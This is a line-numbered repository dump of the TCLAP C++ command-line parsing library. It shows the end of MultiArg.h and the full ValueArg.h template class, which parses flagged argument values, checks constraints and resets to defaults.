MultiArg::reset() 426 | { 427 | Arg::reset(); 428 | _values.clear(); 429 | } 430 | 431 | } // namespace TCLAP 432 | 433 | #endif 434 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/ValueArg.h: -------------------------------------------------------------------------------- 1 | /****************************************************************************** 2 | * 3 | * file: ValueArg.h 4 | * 5 | * Copyright (c) 2003, Michael E. Smoot . 6 | * Copyright (c) 2004, Michael E. Smoot, Daniel Aarno. 7 | * All rights reserved. 8 | * 9 | * See the file COPYING in the top directory of this distribution for 10 | * more information. 11 | * 12 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 13 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 14 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 15 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 16 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 17 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 18 | * DEALINGS IN THE SOFTWARE. 19 | * 20 | *****************************************************************************/ 21 | 22 | 23 | #ifndef TCLAP_VALUE_ARGUMENT_H 24 | #define TCLAP_VALUE_ARGUMENT_H 25 | 26 | #include 27 | #include 28 | 29 | #include "Arg.h" 30 | #include "Constraint.h" 31 | 32 | namespace TCLAP { 33 | 34 | /** 35 | * The basic labeled argument that parses a value. 36 | * This is a template class, which means the type T defines the type 37 | * that a given object will attempt to parse when the flag/name is matched 38 | * on the command line. While there is nothing stopping you from creating 39 | * an unflagged ValueArg, it is unwise and would cause significant problems. 40 | * Instead use an UnlabeledValueArg. 41 | */ 42 | template 43 | class ValueArg : public Arg 44 | { 45 | protected: 46 | 47 | /** 48 | * The value parsed from the command line. 49 | * Can be of any type, as long as the >> operator for the type 50 | * is defined. 51 | */ 52 | T _value; 53 | 54 | /** 55 | * Used to support the reset() method so that ValueArg can be 56 | * reset to their constructed value. 57 | */ 58 | T _default; 59 | 60 | /** 61 | * A human readable description of the type to be parsed. 62 | * This is a hack, plain and simple. Ideally we would use RTTI to 63 | * return the name of type T, but until there is some sort of 64 | * consistent support for human readable names, we are left to our 65 | * own devices. 66 | */ 67 | std::string _typeDesc; 68 | 69 | /** 70 | * A Constraint this Arg must conform to. 71 | */ 72 | Constraint* _constraint; 73 | 74 | /** 75 | * Extracts the value from the string. 76 | * Attempts to parse string as type T, if this fails an exception 77 | * is thrown. 78 | * \param val - value to be parsed. 79 | */ 80 | void _extractValue( const std::string& val ); 81 | 82 | public: 83 | 84 | /** 85 | * Labeled ValueArg constructor. 86 | * You could conceivably call this constructor with a blank flag, 87 | * but that would make you a bad person. It would also cause 88 | * an exception to be thrown. If you want an unlabeled argument, 89 | * use the other constructor. 90 | * \param flag - The one character flag that identifies this 91 | * argument on the command line. 92 | * \param name - A one word name for the argument. Can be 93 | * used as a long flag on the command line. 94 | * \param desc - A description of what the argument is for or 95 | * does. 96 | * \param req - Whether the argument is required on the command 97 | * line. 98 | * \param value - The default value assigned to this argument if it 99 | * is not present on the command line. 100 | * \param typeDesc - A short, human readable description of the 101 | * type that this object expects. This is used in the generation 102 | * of the USAGE statement. The goal is to be helpful to the end user 103 | * of the program. 104 | * \param v - An optional visitor. You probably should not 105 | * use this unless you have a very good reason. 106 | */ 107 | ValueArg( const std::string& flag, 108 | const std::string& name, 109 | const std::string& desc, 110 | bool req, 111 | T value, 112 | const std::string& typeDesc, 113 | Visitor* v = NULL); 114 | 115 | 116 | /** 117 | * Labeled ValueArg constructor. 118 | * You could conceivably call this constructor with a blank flag, 119 | * but that would make you a bad person. It would also cause 120 | * an exception to be thrown. If you want an unlabeled argument, 121 | * use the other constructor. 122 | * \param flag - The one character flag that identifies this 123 | * argument on the command line. 124 | * \param name - A one word name for the argument. Can be 125 | * used as a long flag on the command line. 126 | * \param desc - A description of what the argument is for or 127 | * does. 128 | * \param req - Whether the argument is required on the command 129 | * line. 130 | * \param value - The default value assigned to this argument if it 131 | * is not present on the command line. 132 | * \param typeDesc - A short, human readable description of the 133 | * type that this object expects. This is used in the generation 134 | * of the USAGE statement. The goal is to be helpful to the end user 135 | * of the program. 136 | * \param parser - A CmdLine parser object to add this Arg to 137 | * \param v - An optional visitor. You probably should not 138 | * use this unless you have a very good reason. 139 | */ 140 | ValueArg( const std::string& flag, 141 | const std::string& name, 142 | const std::string& desc, 143 | bool req, 144 | T value, 145 | const std::string& typeDesc, 146 | CmdLineInterface& parser, 147 | Visitor* v = NULL ); 148 | 149 | /** 150 | * Labeled ValueArg constructor. 151 | * You could conceivably call this constructor with a blank flag, 152 | * but that would make you a bad person. It would also cause 153 | * an exception to be thrown. If you want an unlabeled argument, 154 | * use the other constructor. 155 | * \param flag - The one character flag that identifies this 156 | * argument on the command line. 157 | * \param name - A one word name for the argument. Can be 158 | * used as a long flag on the command line. 159 | * \param desc - A description of what the argument is for or 160 | * does. 161 | * \param req - Whether the argument is required on the command 162 | * line. 163 | * \param value - The default value assigned to this argument if it 164 | * is not present on the command line. 165 | * \param constraint - A pointer to a Constraint object used 166 | * to constrain this Arg. 167 | * \param parser - A CmdLine parser object to add this Arg to. 168 | * \param v - An optional visitor. You probably should not 169 | * use this unless you have a very good reason. 170 | */ 171 | ValueArg( const std::string& flag, 172 | const std::string& name, 173 | const std::string& desc, 174 | bool req, 175 | T value, 176 | Constraint* constraint, 177 | CmdLineInterface& parser, 178 | Visitor* v = NULL ); 179 | 180 | /** 181 | * Labeled ValueArg constructor. 182 | * You could conceivably call this constructor with a blank flag, 183 | * but that would make you a bad person. It would also cause 184 | * an exception to be thrown. If you want an unlabeled argument, 185 | * use the other constructor. 186 | * \param flag - The one character flag that identifies this 187 | * argument on the command line. 188 | * \param name - A one word name for the argument. Can be 189 | * used as a long flag on the command line. 190 | * \param desc - A description of what the argument is for or 191 | * does. 192 | * \param req - Whether the argument is required on the command 193 | * line. 194 | * \param value - The default value assigned to this argument if it 195 | * is not present on the command line. 196 | * \param constraint - A pointer to a Constraint object used 197 | * to constrain this Arg. 198 | * \param v - An optional visitor. You probably should not 199 | * use this unless you have a very good reason. 200 | */ 201 | ValueArg( const std::string& flag, 202 | const std::string& name, 203 | const std::string& desc, 204 | bool req, 205 | T value, 206 | Constraint* constraint, 207 | Visitor* v = NULL ); 208 | 209 | /** 210 | * Handles the processing of the argument. 211 | * This re-implements the Arg version of this method to set the 212 | * _value of the argument appropriately. It knows the difference 213 | * between labeled and unlabeled. 214 | * \param i - Pointer the the current argument in the list. 215 | * \param args - Mutable list of strings. Passed 216 | * in from main(). 217 | */ 218 | virtual bool processArg(int* i, std::vector& args); 219 | 220 | /** 221 | * Returns the value of the argument. 222 | */ 223 | T& getValue() ; 224 | 225 | /** 226 | * Specialization of shortID. 227 | * \param val - value to be used. 228 | */ 229 | virtual std::string shortID(const std::string& val = "val") const; 230 | 231 | /** 232 | * Specialization of longID. 233 | * \param val - value to be used. 234 | */ 235 | virtual std::string longID(const std::string& val = "val") const; 236 | 237 | virtual void reset() ; 238 | 239 | private: 240 | /** 241 | * Prevent accidental copying 242 | */ 243 | ValueArg(const ValueArg& rhs); 244 | ValueArg& operator=(const ValueArg& rhs); 245 | }; 246 | 247 | 248 | /** 249 | * Constructor implementation. 250 | */ 251 | template 252 | ValueArg::ValueArg(const std::string& flag, 253 | const std::string& name, 254 | const std::string& desc, 255 | bool req, 256 | T val, 257 | const std::string& typeDesc, 258 | Visitor* v) 259 | : Arg(flag, name, desc, req, true, v), 260 | _value( val ), 261 | _default( val ), 262 | _typeDesc( typeDesc ), 263 | _constraint( NULL ) 264 | { } 265 | 266 | template 267 | ValueArg::ValueArg(const std::string& flag, 268 | const std::string& name, 269 | const std::string& desc, 270 | bool req, 271 | T val, 272 | const std::string& typeDesc, 273 | CmdLineInterface& parser, 274 | Visitor* v) 275 | : Arg(flag, name, desc, req, true, v), 276 | _value( val ), 277 | _default( val ), 278 | _typeDesc( typeDesc ), 279 | _constraint( NULL ) 280 | { 281 | parser.add( this ); 282 | } 283 | 284 | template 285 | ValueArg::ValueArg(const std::string& flag, 286 | const std::string& name, 287 | const std::string& desc, 288 | bool req, 289 | T val, 290 | Constraint* constraint, 291 | Visitor* v) 292 | : Arg(flag, name, desc, req, true, v), 293 | _value( val ), 294 | _default( val ), 295 | _typeDesc( constraint->shortID() ), 296 | _constraint( constraint ) 297 | { } 298 | 299 | template 300 | ValueArg::ValueArg(const std::string& flag, 301 | const std::string& name, 302 | const std::string& desc, 303 | bool req, 304 | T val, 305 | Constraint* constraint, 306 | CmdLineInterface& parser, 307 | Visitor* v) 308 | : Arg(flag, name, desc, req, true, v), 309 | _value( val ), 310 | _default( val ), 311 | _typeDesc( constraint->shortID() ), 312 | _constraint( constraint ) 313 | { 314 | parser.add( this ); 315 | } 316 | 317 | 318 | /** 319 | * Implementation of getValue(). 320 | */ 321 | template 322 | T& ValueArg::getValue() { return _value; } 323 | 324 | /** 325 | * Implementation of processArg(). 326 | */ 327 | template 328 | bool ValueArg::processArg(int *i, std::vector& args) 329 | { 330 | if ( _ignoreable && Arg::ignoreRest() ) 331 | return false; 332 | 333 | if ( _hasBlanks( args[*i] ) ) 334 | return false; 335 | 336 | std::string flag = args[*i]; 337 | 338 | std::string value = ""; 339 | trimFlag( flag, value ); 340 | 341 | if ( argMatches( flag ) ) 342 | { 343 | if ( _alreadySet ) 344 | { 345 | if ( _xorSet ) 346 | throw( CmdLineParseException( 347 | "Mutually exclusive argument already set!", 348 | toString()) ); 349 | else 350 | throw( CmdLineParseException("Argument already set!", 351 | toString()) ); 352 | } 353 | 354 | if ( Arg::delimiter() != ' ' && value == "" ) 355 | throw( ArgParseException( 356 | "Couldn't find delimiter for this argument!", 357 | toString() ) ); 358 | 359 | if ( value == "" ) 360 | { 361 | (*i)++; 362 | if ( static_cast(*i) < args.size() ) 363 | _extractValue( args[*i] ); 364 | else 365 | throw( ArgParseException("Missing a value for this argument!", 366 | toString() ) ); 367 | } 368 | else 369 | _extractValue( value ); 370 | 371 | _alreadySet = true; 372 | _checkWithVisitor(); 373 | return true; 374 | } 375 | else 376 | return false; 377 | } 378 | 379 | /** 380 | * Implementation of shortID. 381 | */ 382 | template 383 | std::string ValueArg::shortID(const std::string& val) const 384 | { 385 | static_cast(val); // Ignore input, don't warn 386 | return Arg::shortID( _typeDesc ); 387 | } 388 | 389 | /** 390 | * Implementation of longID. 391 | */ 392 | template 393 | std::string ValueArg::longID(const std::string& val) const 394 | { 395 | static_cast(val); // Ignore input, don't warn 396 | return Arg::longID( _typeDesc ); 397 | } 398 | 399 | template 400 | void ValueArg::_extractValue( const std::string& val ) 401 | { 402 | try { 403 | ExtractValue(_value, val, typename ArgTraits::ValueCategory()); 404 | } catch( ArgParseException &e) { 405 | throw ArgParseException(e.error(), toString()); 406 | } 407 | 408 | if ( _constraint != NULL ) 409 | if ( ! _constraint->check( _value ) ) 410 | throw( CmdLineParseException( "Value '" + val + 411 | + "' does not meet constraint: " 412 | + _constraint->description(), 413 | toString() ) ); 414 | } 415 | 416 | template 417 | void ValueArg::reset() 418 | { 419 | Arg::reset(); 420 | _value = _default; 421 | } 422 | 423 | } // namespace TCLAP 424 | 425 | #endif 426 | --------------------------------------------------------------------------------